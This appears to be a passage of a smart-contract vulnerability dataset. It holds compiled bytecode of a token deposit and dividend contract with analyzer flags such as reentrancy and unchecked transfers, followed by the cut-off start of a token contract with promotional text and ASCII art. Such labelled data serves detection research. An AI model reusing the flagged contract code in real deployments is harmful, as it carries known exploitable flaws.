} | 0x60806040526004361061020f5760003560e01c806366ffca2811610118578063a8aeb6c2116100a0578063e262113e1161006f578063e262113e14610b4b578063f7f46a4114610b76578063fb4cb32b14610ba1578063fc0c546a14610c06578063fffd365914610c5d5761020f565b8063a8aeb6c214610a39578063aef18c2514610a9e578063af3e212214610ac9578063dbe55e5614610af45761020f565b80637e3abeea116100e75780637e3abeea146108df5780638f046950146109445780639bb577181461094e5780639f8a13d714610979578063a5ece941146109e25761020f565b806366ffca281461081f5780636aabddee1461085e5780636f9fb98a146108895780637d882097146108b45761020f565b80633ccfd60b1161019b5780634698b8831161016a5780634698b8831461058b5780634b3197131461071d5780634e43603a146107485780635216aeec146107c957806362f3765e146107f45761020f565b80633ccfd60b146104c35780633d103b97146104da57806344038f901461053557806344767308146105605761020f565b80631dba5b08116101e25780631dba5b08146103345780632ba285e61461037457806332bc298c14610442578063334492fe1461046d57806334fbc9a1146104985761020f565b806301c234a814610214578063153ab9df1461023f5780631b9a26f0146102a45780631c00b08514610309575b600080fd5b34801561022057600080fd5b50610229610c67565b6040518082815260200191505060405180910390f35b34801561024b57600080fd5b5061028e6004803603602081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6d565b6040518082815260200191505060405180910390f35b3480156102b057600080fd5b506102f3600480360360208110156102c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061116f565b6040518082815260200191505060405180910390f35b34801561031557600080fd5b5061031e611254565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b5061034961125a565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561038057600080fd5b506103c36004803603602081101561039757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127f565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018661ffff1661ffff1681526020018561ffff1661ffff1681526020018481526020018381526020018262ffffff1662ffffff168152602001965050505050505060405180910390f35b34801561044e57600080fd5b506104576113ac565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104826113b3565b6040518082815260200191505060405180910390f35b3480156104a457600080fd5b506104ad6113b9565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b506104d86113be565b005b3480156104e657600080fd5b50610533600480360360408110156104fd57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4d565b005b34801561054157600080fd5b5061054a6127f7565b6040518082815260200191505060405180910390f35b34801561056c57600080fd5b506105756127fd565b6040518082815260200191505060405180910390f35b34801561059757600080fd5b506105ee600480360360608110156105ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612803565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561063d578082015181840152602081019050610622565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561067f578082015181840152602081019050610664565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156106c15780820151818401526020810190506106a6565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156107035780820151818401526020810190506106e8565b505050509050019850505050505050505060405180910390f35b34801561072957600080fd5b50610732612b23565b6040518082815260200191505060405180910390f35b34801561075457600080fd5b506107976004803603602081101561076b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b29565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156107d557600080fd5b506107de612b8e565b6040518082815260200191505060405180910390f35b34801561080057600080fd5b50610809612b94565b6040518082815260200191505060405180910390f35b34801561082b57600080fd5b5061085c6004803603602081101561084257600080fd5b81019080803561ffff169060200190929190505050612b9a565b005b34801561086a57600080fd5b50610873612c24565b6040518082815260200191505060405180910390f35b34801561089557600080fd5b5061089e612c33565b6040518082815260200191505060405180910390f35b3480156108c057600080fd5b506108c9612d13565b6040518082815260200191505060405180910390f35b3480156108eb57600080fd5b5061092e6004803603602081101561090257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d19565b6040518082815260200191505060405180910390f35b61094c612def565b005b34801561095a57600080fd5b50610963612fef565b6040518082815260200191505060405180910390f35b34801561098557600080fd5b506109c86004803603602081101561099c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ff5565b604051808215151515815260200191505060405180910390f35b3480156109ee57600080fd5b506109f761311a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a4557600080fd5b50610a8860048036036020811015610a5c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613140565b6040518082815260200191505060405180910390f35b348015610aaa57600080fd5b50610ab361318f565b6040518082815260200191505060405180910390f35b348015610ad557600080fd5b50610ade613194565b6040518082815260200191505060405180910390f35b348015610b0057600080fd5b50610b0961319a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5757600080fd5b50610b606131c0565b6040518082815260200191505060405180910390f35b348015610b8257600080fd5b50610b8b6131ce565b6040518082815260200191505060405180910390f35b348015610bad57600080fd5b50610bf060048036036020811015610bc457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131d4565b6040518082815260200191505060405180910390f35b348015610c1257600080fd5b50610c1b613311565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c65613336565b005b61271081565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000610cbc8461116f565b905060008060008090505b846000018054905081101561114c57610d386002866000018381548110610cea57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b856000018281548110610d4757fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16101561113f578460010160009054906101000a900463ffffffff1663ffffffff16856000018281548110610db757fe5b906000526020600020906002020160010160109054906101000a900463ffffffff1663ffffffff161115610ed057610ec962015180610ebb610e38886000018581548110610e0157fe5b906000526020600020906002020160010160109054906101000a900463ffffffff1663ffffffff16426135bc90919063ffffffff16565b610ead612710610e9f8a8c6000018981548110610e5157fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b61364590919063ffffffff16565b61353690919063ffffffff16565b61364590919063ffffffff16565b9150610f9b565b610f9862015180610f8a610f078860010160009054906101000a900463ffffffff1663ffffffff16426135bc90919063ffffffff16565b610f7c612710610f6e8a8c6000018981548110610f2057fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b61364590919063ffffffff16565b61353690919063ffffffff16565b61364590919063ffffffff16565b91505b610ffd6002866000018381548110610faf57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b61105e8387600001848154811061101057fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166136d490919063ffffffff16565b11156111295761112685600001828154811061107657fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661111860028860000185815481106110ca57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b6135bc90919063ffffffff16565b91505b61113c82846136d490919063ffffffff16565b92505b8080600101915050610cc7565b506111648460030154836136d490919063ffffffff16565b945050505050919050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506111bc83612ff5565b15611248576000611218606461120a620151806111fc8660010160009054906101000a900463ffffffff1663ffffffff16426135bc90919063ffffffff16565b61364590919063ffffffff16565b61353690919063ffffffff16565b90506103e881111561122a576103e890505b61123f816005546136d490919063ffffffff16565b9250505061124f565b6005549150505b919050565b61138881565b60008060008060035460025461126e612c33565b600554935093509350935090919293565b6000806000806000806000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010160189054906101000a900461ffff16600a60008460010160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160189054906101000a900461ffff16836002015484600301548560040160009054906101000a900462ffffff169650965096509650965096505091939550919395565b6201518081565b60085481565b60c881565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600061140c3361116f565b905060008060008090505b846000018054905081101561195357611488600286600001838154811061143a57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b85600001828154811061149757fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161015611946578460010160009054906101000a900463ffffffff1663ffffffff1685600001828154811061150757fe5b906000526020600020906002020160010160109054906101000a900463ffffffff1663ffffffff161115611620576116196201518061160b61158888600001858154811061155157fe5b906000526020600020906002020160010160109054906101000a900463ffffffff1663ffffffff16426135bc90919063ffffffff16565b6115fd6127106115ef8a8c60000189815481106115a157fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b61364590919063ffffffff16565b61353690919063ffffffff16565b61364590919063ffffffff16565b91506116eb565b6116e8620151806116da6116578860010160009054906101000a900463ffffffff1663ffffffff16426135bc90919063ffffffff16565b6116cc6127106116be8a8c600001898154811061167057fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b61364590919063ffffffff16565b61353690919063ffffffff16565b61364590919063ffffffff16565b91505b61174d60028660000183815481106116ff57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b6117ae8387600001848154811061176057fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166136d490919063ffffffff16565b1115611879576118768560000182815481106117c657fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611868600288600001858154811061181a57fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b6135bc90919063ffffffff16565b91505b6118da8286600001838154811061188c57fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166136d490919063ffffffff16565b8560000182815481106118e957fe5b906000526020600020906002020160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555061194382846136d490919063ffffffff16565b92505b8080600101915050611417565b5061196b8460030154836136d490919063ffffffff16565b9150600082116119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5573657220686173206e6f206469766964656e6473000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a8357600080fd5b505afa158015611a97573d6000803e3d6000fd5b505050506040513d6020811015611aad57600080fd5b8101908080519060200190929190505050905082811015611acc578092505b428560010160006101000a81548163ffffffff021916908363ffffffff160217905550600085600301819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ba157600080fd5b505af1158015611bb5573d6000803e3d6000fd5b505050506040513d6020811015611bcb57600080fd5b810190808051906020019092919050505050611bf2836004546136d490919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5846040518082815260200191505060405180910390a25050505050565b611c563361375c565b158015611c8e57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611c9757600080fd5b69d3c21bcecceda1000000821015611cfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806138ff6024913960400191505060405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506064816000018054905010611d9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806139236021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e7957600080fd5b505af1158015611e8d573d6000803e3d6000fd5b505050506040513d6020811015611ea357600080fd5b8101908080519060200190929190505050506000611ee0612710611ed26103208761353690919063ffffffff16565b61364590919063ffffffff16565b90506000611f0c612710611efe60c88861353690919063ffffffff16565b61364590919063ffffffff16565b9050611f23826008546136d490919063ffffffff16565b600881905550611f3e816009546136d490919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168360010160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611fe957506000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050115b801561202157503373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561206a57838360010160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60008073ffffffffffffffffffffffffffffffffffffffff168460010160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125295760008460010160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006121176127106121096001548b61353690919063ffffffff16565b61364590919063ffffffff16565b90506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160189054906101000a900461ffff1661ffff161115612309576121f16127106121e3600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160189054906101000a900461ffff1661ffff168461353690919063ffffffff16565b61364590919063ffffffff16565b925061224883600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546136d490919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f9ecbf25f4de0558ad0f8971a5c6f95e9607efde9c8880c8faa6b2cf7fbafcee3856040518082815260200191505060405180910390a361230683826135bc90919063ffffffff16565b90505b60008111156124ae5761236781600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546136d490919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061240281600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546136d490919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f328838ddfc48ad5ae5531b1ad95dfb22b42ff1866853e474375ffef2c63d8e50836040518082815260200191505060405180910390a35b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600081819054906101000a900462ffffff168092919060010191906101000a81548162ffffff021916908362ffffff1602179055505050505b6000846000018054905014156125c057428460010160006101000a81548163ffffffff021916908363ffffffff1602179055507f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b836000016040518060800160405280886fffffffffffffffffffffffffffffffff16815260200160006fffffffffffffffffffffffffffffffff168152602001836fffffffffffffffffffffffffffffffff1681526020014263ffffffff168152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060608201518160010160106101000a81548163ffffffff021916908363ffffffff160217905550505050612749866003546136d490919063ffffffff16565b6003819055506002600081548092919060010191905055506127786113886103e86136d490919063ffffffff16565b60055410156127a157600061278b61376f565b905060055481111561279f57806005819055505b505b3373ffffffffffffffffffffffffffffffffffffffff167f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364876040518082815260200191505060405180910390a2505050505050565b60015481565b6103e881565b6060806060806000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600061286188886135bc90919063ffffffff16565b9050816000018054905081111561287d57816000018054905090505b6060816040519080825280602002602001820160405280156128ae5781602001602082028038833980820191505090505b5090506060826040519080825280602002602001820160405280156128e25781602001602082028038833980820191505090505b5090506060836040519080825280602002602001820160405280156129165781602001602082028038833980820191505090505b50905060608460405190808252806020026020018201604052801561294a5781602001602082028038833980820191505090505b509050600080905060008c90505b8d811115612b065787600001600182038154811061297257fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168683815181106129be57fe5b6020026020010181815250508760000160018203815481106129dc57fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16858381518110612a2857fe5b602002602001018181525050876000016001820381548110612a4657fe5b906000526020600020906002020160010160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16848381518110612a9257fe5b602002602001018181525050876000016001820381548110612ab057fe5b906000526020600020906002020160010160109054906101000a900463ffffffff1663ffffffff16838381518110612ae457fe5b6020026020010181815250508180600101925050808060019003915050612958565b50848484849a509a509a509a505050505050505093509350935093565b60045481565b600080600080600080612b3b8761116f565b90506000612b4888610c6d565b90506000612b5589612d19565b90506000612b628a613140565b90506000612b6f8b6131d4565b9050848484848499509950995099509950505050505091939590929450565b60035481565b6103e881565b6127108161ffff161115612bad57600080fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001805490501115612c2057818160010160186101000a81548161ffff021916908361ffff1602179055505b5050565b6a48cab98f1671af5800000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612cd357600080fd5b505afa158015612ce7573d6000803e3d6000fd5b505050506040513d6020811015612cfd57600080fd5b8101908080519060200190929190505050905090565b60025481565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600080600090505b8260000180549050811015612de457612dd5836000018281548110612d8657fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16836136d490919063ffffffff16565b91508080600101915050612d65565b508092505050919050565b600060085411612e67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f7468696e6720746f2072656369657665000000000000000000000000000081525060200191505060405180910390fd5b6000600854905060006008819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612f4057600080fd5b505af1158015612f54573d6000803e3d6000fd5b505050506040513d6020811015612f6a57600080fd5b810190808051906020019092919050505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1826040518082815260200191505060405180910390a250565b60055481565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000018054905011801561311257506130b760028260000160018460000180549050038154811061306957fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1661353690919063ffffffff16565b816000016001836000018054905003815481106130d057fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16105b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490509050919050565b606481565b61032081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b69d3c21bcecceda100000081565b60095481565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160020154905060008090505b8260000180549050811015613306576132f783600001828154811061324857fe5b906000526020600020906002020160010160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166132e985600001848154811061329a57fe5b906000526020600020906002020160000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16856136d490919063ffffffff16565b6136d490919063ffffffff16565b91508080600101915050613227565b508092505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954116133ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f7468696e6720746f2072656369657665000000000000000000000000000081525060200191505060405180910390fd5b6000600954905060006009819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561348757600080fd5b505af115801561349b573d6000803e3d6000fd5b505050506040513d60208110156134b157600080fd5b810190808051906020019092919050505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1826040518082815260200191505060405180910390a250565b60008083141561354957600090506135b6565b600082840290508284828161355a57fe5b04146135b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806138de6021913960400191505060405180910390fd5b809150505b92915050565b600082821115613634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b60008082116136bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b60008284816136c757fe5b0490508091505092915050565b600080828401905083811015613752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080823b905060008111915050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561381057600080fd5b505afa158015613824573d6000803e3d6000fd5b505050506040513d602081101561383a57600080fd5b81019080805190602001909291905050509050600061389461388360026138756a48cab98f1671af580000008661364590919063ffffffff16565b61353690919063ffffffff16565b6103e86136d490919063ffffffff16565b90506138ad6113886103e86136d490919063ffffffff16565b8110156138be5780925050506138da565b6138d56113886103e86136d490919063ffffffff16565b925050505b9056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d696e696d756d206465706f73697420616d6f756e7420313030303030302053484942414d6178696d756d20313030206465706f736974732066726f6d2061646472657373a165627a7a72305820f95c8e3024d5edf3f590b95342ed8a28231473540ff8cf1bd29a64fa1b8cf3c00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,175 |
0x0b54526d5e79e40b211ed6569d7d986c5b430f07 | /**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
// SPDX-License-Identifier: Unlicensed
/**
We seek to create a different project where people have a voice and a vote on the important decisions of the project.
We will create strategies in order to facilitate interaction between leaders and holders,so that a multidisciplinary team is created with people who add value to the global brand that we plan to develop.
The only cult that sticks together. We all love one thing: being a degen with diamondhands.
Strong cohesion: The community decides every move, there are no leaders
SSSLLLLLL LLLL
MMMNSSNNMMMMMMMMML
MMMSUUUSSNMMNNMMMN
LMMMNSSNSNMMNMMMNMM
MNLLLLLLLLLLLLTUSNM
UML LLLLLLTUNMU
STLLLMMNNNNSNNNMMMMNNNMMMM
MMMMSMMMUSUUUSNMNSUSSSNMMMNL
LMMMUSLUNMSUTLLLTSSSUTUMMMMMMM
UNLLMMMMMMLLMMMMMMMUNMMMMN
SL LLLLSL MSLSMNUTMS
L L ULLL TM
LL LLUL UUL LSM
L LUUL LNMMSLLLLLML
LLLSUSSNNSLTLLLSL
TLLLTNMNSNNSLLLTML
SNUNUUSLLLLULLLSNMMMLL
LTNMMNMMNLSST LLTNMNNMNMMMMMMTL
LTSMMMNNSNSSLNML UTUUSSNMMLTNMNMNMMMMMMMMNL
LMMMNSUUUSUSTTLLNMNL LLTUNSL LUMNNNMNMNMNMMMMMMMML
LMMULTTUUSUUULTLLNMMS SLTSS LNNNSSNNNNMNNNNNNNNMMMM
SNSNULTUSUUULLTUSSNMNLUMLLSMLLSNNLTTUTUNNNNNNNNSNNMM
MNSNMULSSSUSSUSMSLSMNLLMSSMNLTSMSLUSSSSNNNNNNNSNNSMM
LNSSNMNUUNSSNMMMSTLSMU LNSMMS LSMULTNMMMNNNNSSUMNUNMML
MNUUSNMNUSSNNNNSTTUSMULNSLNMN LMMTLTTSMMNNNSULNNUSMNMM
LMNLSSUNMSSNNNNTTTSUUSMMNLUSMNUNMNTTUTLUNMNNSUUNUUSNNMM
NNNSTNNSNMSNNNNNLTSNSUMMNLLSNMNTMSUSUTLSNNSSSSNNNUUNUNMM
LMUNMSSMMNNMNNNNNNLUSSUNMMUUSNMSTMTSSULNMMSUSNNNNNLSSSNMML
LMLUMNSNMMNNMSNNNNNTUSSSMMNTSNMSSSUNNUNMNNNSSNMNMNLSUSNNMM
MTLNMSNNMMMMNSSNNNMUTSUNMNLUNMNSSSNSNMMNSSSSNNNMSLUUNNMNMM
LMNLUNNSNNMMMNSNNSNMMNUUNNMSSNMMSSNSNMMNNSNSNNMNNTLLNNNNNMM
SMMNTSSNNNNMMMNNSSNMMMSSSNMNSSSNNMNMNNNNSSSNSNMNSSUNNSSNNNM
LMNNNNNNMMNMMMMMNMNULLLLLSTLLLLLLLSMMMMMNNNNMMMMMNNNNSSNSSSMM
MMMNNMMMMMMMNSSNMSL LLLUSNML LTLLLLLUUUSMMMMMNMMMNMMNNNSNNNMMS
TMNUUUULLLLLLLLTSLLLLLLLLLLLU LSSUUUTTTLLLLLLSUTTLTTUUSSSSSSNMM
MNLLLLLLLLLTTLTMUUTLLLLLSUTLLSSNLTLLLLTTLTLLLLSNTUUUUSSNSNSSSMMN
MSSTTTUUSSSSSLNMNSSUTLLLUTUSNMNMNUUTUTSTTTUTUTNMSUSSSSSSNNNNNNMML
